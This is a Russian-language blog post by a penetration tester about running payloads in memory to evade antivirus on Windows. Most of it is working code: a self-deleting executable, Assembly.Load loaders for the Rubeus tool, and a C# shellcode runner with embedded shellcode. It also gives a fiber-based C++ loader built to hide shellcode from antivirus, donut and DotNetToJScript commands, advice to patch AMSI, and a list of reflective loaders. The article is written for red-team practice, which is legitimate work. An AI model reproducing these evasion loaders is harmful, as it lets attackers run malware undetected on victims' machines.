Привет, Хабр! Меня зовут Миша, я работаю в МТС RED в команде тестирования на проникновение на позиции эксперта.

В ходе пентестов очень часто приходится бороться с антивирусами. Увы, это может отнимать много времени, что негативно сказывается на результатах проекта. Тем не менее есть парочка крутых трюков, которые позволят на время забыть про антивирус на хосте, и один из них - выполнение полезной нагрузки в памяти.

Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них  не оставит без внимания факт появления вредоноса на диске.

Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.

Основы выполнения в памяти

Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.

Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что всё только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.

Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle(), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED.

Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.

К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle() с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.

#include <Windows.h>
#include <iostream>
#define NEW_STREAM L":HABRAHABR"
 
 BOOL DeleteSelf() {
 
            	WCHAR                   	szPath[MAX_PATH * 2] = { 0 };
            	FILE_DISPOSITION_INFO   	Delete = { 0 };
            	HANDLE                  	hFile = INVALID_HANDLE_VALUE;
            	PFILE_RENAME_INFO       	pRename = NULL;
            	const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
            	SIZE_T                  	sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
 
            	pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
            	if (!pRename) {
                           	printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
 
            	ZeroMemory(szPath, sizeof(szPath));
            	ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
 
            	Delete.DeleteFile = TRUE;
            	pRename->FileNameLength = sizeof(NewStream);
            	RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
 
            	if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
                           	printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
            	if (hFile == INVALID_HANDLE_VALUE) {
                           	printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);
 
            	if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
                           	printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
            	wprintf(L"[+] DONE \n");
 
            	CloseHandle(hFile);
 
            	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
            	if (hFile == INVALID_HANDLE_VALUE) {
                           	printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
 
            	wprintf(L"[i] DELETING ...");
 
            	if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
                           	printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
                           	return FALSE;
            	}
            	wprintf(L"[+] DONE \n");
 
            	CloseHandle(hFile);
 
            	HeapFree(GetProcessHeap(), 0, pRename);
 
            	return TRUE;
}
 
int main() {
            	DeleteSelf();
            	getchar();
            	return 0;
}

Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.

Встроенные возможности языков для выполнения кода в памяти

C# и System.Reflection.Assembly

У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:

public static System.Reflection.Assembly Load (byte[] rawAssembly);

Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.

Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.

using System;
using System.IO;
using System.Reflection; 
namespace AssemblyLoader
{
	class Program
	{
    	static void Main(string[] args)
    	{
        	Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
        	string input = Console.ReadLine();
    	}
 
    	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
    	{
        	Assembly assembly = Assembly.Load(assemblyBytes);
 
        	MethodInfo method = assembly.EntryPoint;
                                           	
        	object[] parameters = new[] { param };
 
        	object execute = method.Invoke(null, parameters);
    	}
	}
}
```

Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load(), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes(), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:

$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);

В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:

Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.

$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;

Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:

using System;
using System.IO;
using System.Reflection;
 
 
namespace AssemblyLoader
{
	class Program
	{
    	static void Main(string[] args)
    	{
        	string assemblyBase64 = "<b64 value>";
        	Byte[] bytes = Convert.FromBase64String(assemblyBase64);
            ExecuteAssembly(bytes, new string[] { "user" });
 
            Console.Write("Press any key to exit");
        	string input = Console.ReadLine();
    	}
 
    	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
    	{
        	Assembly assembly = Assembly.Load(assemblyBytes);
 
        	MethodInfo method = assembly.EntryPoint;
 
        	object[] parameters = new[] { param };
 
        	object execute = method.Invoke(null, parameters);
    	}
	}
}

Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load(), что позволит с таким же успехом загрузить сборку и обратиться к ней.

Синтаксис прост:

$blob = "<полученное base64>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:

[<namespace>.<class>]::<method>()
# Ex
                     [Rubeus.Program]::Main()

В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load(), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.

Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:

В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:

$data = 'байты сборки'
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType('Rubeus.Program');
$method = $class.GetMethod('Main');
$method.Invoke(0, $null)

C# и MemoryStream()

В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.

Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText(). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.

SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
        	namespace ns{
            	using System;
            	public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                	}
            	}
        	}");

Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):

var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);

Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create(). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.

var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);

Теперь у нас есть объект сборки, добавляем в неё исходный код, вызывая метод AddSyntaxTrees():

compilation = compilation.AddSyntaxTrees(syntaxTree);

Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write(), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll файлов, а стандартные сборки находятся в одной и той же директории, которую можно извлечь вот так:

var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);

Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:

List<MetadataReference> references = new List<MetadataReference>();
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));

Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:

var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
  // добавляем расширение .dll
 foreach (var u in usings)
 {
   references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
  }

• compilation.SyntaxTrees  — из объекта сборки получаем все синтаксические деревья

• Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot() возвращает корневой узел каждого дерева. DescendantNodes() получает все узлы дерева, производные от корневого. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, что представляют собой директивы using

• SelectMany(s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список

• ToArray() — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll

Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.

compilation = compilation.AddReferences(references);

Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit() (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.

using (var ms = new MemoryStream())
    	{
        	EmitResult result = compilation.Emit(ms);
 
        	if (!result.Success)
        	{
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
            	{
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
            	}
        	}
        	else
        	{
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
     	   }
    	}

Затем не составит труда извлечь сборку из памяти и вызвать метод из неё.

using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.Loader;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Emit;
 
class Program
{
	static void Main()
	{
    	// создание экземпляра класса, содержащего исходный код
  	  SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
        	namespace ns{
            	using System;
            	public class App{
                    public static void Main(string[] args){
                        Console.Write(""dada"");
                	}
            	}
        	}");
    	// создаем опции компилятора, в которых говорим, что у нас консольное приложение
    	var options = new CSharpCompilationOptions(
           OutputKind.ConsoleApplication,
           optimizationLevel: OptimizationLevel.Debug,
           allowUnsafe: true);
 
    	// создание объекта сборки
    	var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
 
    	// добавление исходного кода в сборку
    	compilation = compilation.AddSyntaxTrees(syntaxTree);
 
    	// получение локального путя, где лежат все сборки
    	var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
        List<MetadataReference> references = new List<MetadataReference>();
                           	
    	// добавление необходимых сборок в список
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
        references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
                           	
    	// добавляем сборки из синтаксического дерева
    	var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();
 
    	// добавляем расширение .dll
    	foreach (var u in usings)
    	{
            references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
    	}
 
    	// добавляем зависимости
    	compilation = compilation.AddReferences(references);
 
    	// компилим
    	using (var ms = new MemoryStream())
    	{
        	EmitResult result = compilation.Emit(ms);
 
        	if (!result.Success)
        	{
                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>
                    diagnostic.IsWarningAsError ||
                    diagnostic.Severity == DiagnosticSeverity.Error);
 
                foreach (Diagnostic diagnostic in failures)
           	 {
                    Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
            	}
        	}
        	else
        	{
                ms.Seek(0, SeekOrigin.Begin);
                AssemblyLoadContext context = AssemblyLoadContext.Default;
                Assembly assembly = context.LoadFromStream(ms);
                assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
 
     	   }
    	}
	}
}

Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.

Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:

C#, память и неуправляемый код

Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.

Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load() и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load() — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.

Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer():

using System;
using System.Runtime.InteropServices;
 
namespace ShellcodeLoader
{
	public class Program
	{
    	public static void Main(string[] args)
    	{
        	byte[] x86shc = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
            0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
            0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
            0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
            0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
            0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
            0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
            0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
            0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
 
        	IntPtr funcAddr = VirtualAlloc(
                              IntPtr.Zero,
                              (uint)x86shc.Length,
                              0x1000, 0x40);
        	Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);
        	pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));
        	f();
 
        	return;
    	}
 
    	#region pinvokes
        [DllImport("kernel32.dll")]
    	public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    	delegate void pFunc();
 
    	#endregion
	}
}

Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:

Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:

#include <Windows.h>

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	// Создание окна
	HWND hwnd;
	WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };
    RegisterClassEx(&wc);
	hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL);
	ShowWindow(hwnd, nCmdShow);
 
	// Получение контекста устройства (Device Context)
	HDC hdc = GetDC(hwnd);
 
	// Рисование пикселей
	for (int x = 0; x < 800; x++)
	{
    	for (int y = 0; y < 600; y++)
    	{
            SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя
    	}
	}
 
	// Основной цикл сообщений
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
        TranslateMessage(&msg);
        DispatchMessage(&msg);
	}
 
	// Освобождаем ресурсы и завершаем программу
	ReleaseDC(hwnd, hdc);
    UnregisterClass(L"MyWindowClass", hInstance);
	return 0;
}
 
// Обработка сообщений окна
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_DESTROY:
        PostQuitMessage(0);
  	  return 0;
	}
 
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:

• https://github.com/TheWover/donut — стандартная версия

• https://github.com/S4ntiagoP/donut/tree/syscalls — donut с сисколлами

• https://github.com/hasherezade/pe_to_shellcode

Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:

donut.exe -i CodeToShc.exe -o code.bin -b 1

Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:

xxd -i code.bin  > 1.h

В файле будет представлен шеллкод нашей программы:

Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:

Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:

И получаем успешное выполнение сборки с шеллкодом:

Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:

Конвертация в JScript

Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.

Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer → тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.

Затем наш код должен быть вставлен в классе TestClass(), например, следующий код выводит месседж-бокс:

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
            	public TestClass()
            	{
                           	MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            	}
            	public void RunProcess(string path)
            	{
                           	Process.Start(path);
            	}
}

После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:

DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js

# Ex
	DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

Полученный .js файл можно смело запускать, что приведёт к выполнению кода из TestClass(), а именно — появлению MessageBox.

Fibers

Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс → поток → фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.

Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значений регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0x00, у фибера 1 оно равно 0x01, а у фибера 2 0x02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0x01, а при переключении из фибера 1 на фибер 2 оно станет равно 0x02. После завершения работы фибера 2 примет значение фибера 1 и т. д.

В идеале для сокрытия пейлоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.

Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber():

LPVOID CreateFiber(
  [in]       	SIZE_T            	dwStackSize,
  [in]       	LPFIBER_START_ROUTINE lpStartAddress,
  [in, optional] LPVOID            	lpParameter
);

• dwStackSize — начальный размер стека

• LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главной функцией фибера. Она вызывается при старте фибера

• lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер

После создания фибера его запустить можно с помощью SwitchToFiber(). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber().

Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.

Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.

#include <windows.h>
#include <vector>
#include <thread>
 
#define DEBUG
 
size_t numOfThreads = 10;
size_t numOfFibers = 10;
 
unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
 
DWORD WINAPI threadProc(VOID*);
VOID WINAPI fiberProc(LPVOID);
 
HANDLE hMutex;
 
int main() {
    std::vector<HANDLE> threads(numOfThreads);
	hMutex = CreateMutex(NULL, FALSE, L"Mutex");
	for (auto& thread : threads)
	{
    	thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL);
	}
 
	for (auto& thread : threads)
	{
        WaitForSingleObject(thread, INFINITE);
	}
 
 
	return 0;
}
 
DWORD WINAPI threadProc(LPVOID lpParam) {
    std::vector<PVOID> fibers(numOfFibers);
    ConvertThreadToFiber(NULL);
 
 
 
	for (int i = 0; i < numOfFibers; ++i)
    {
    	fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);
    	
	}
 
	while (true)
	{
    	for (auto& fiber : fibers)
    	{
            SwitchToFiber(fiber);
    	}
	}
 
	return 0;
}
 
VOID WINAPI fiberProc(LPVOID lpParam) {
    WaitForSingleObject(hMutex, INFINITE);
	hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex");
	if (hMutex)
	{
    	PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(payload_mem, shc, sizeof(shc));
        ((void(*)())payload_mem)();
	}
 }

Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:

Специальные лоадеры

Существует целый класс программ, так называемых Reflective Loader's, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-файла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пейлоад мог запуститься.

На Github достаточно много готовых PoC, выделю самые интересные:

• Invoke-ReflectivePEInjection — повершелловский вариант

• RunPE — подходит для запуска как управляемого, так и неуправляемого кода

• FilelessPELoader — одна из самых толковых реализаций. Тянет пейлоад с удалённого сервера

Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:

• post/windows/manage/reflective_dll_inject — модуль MSF

• ReflectiveDllInjection

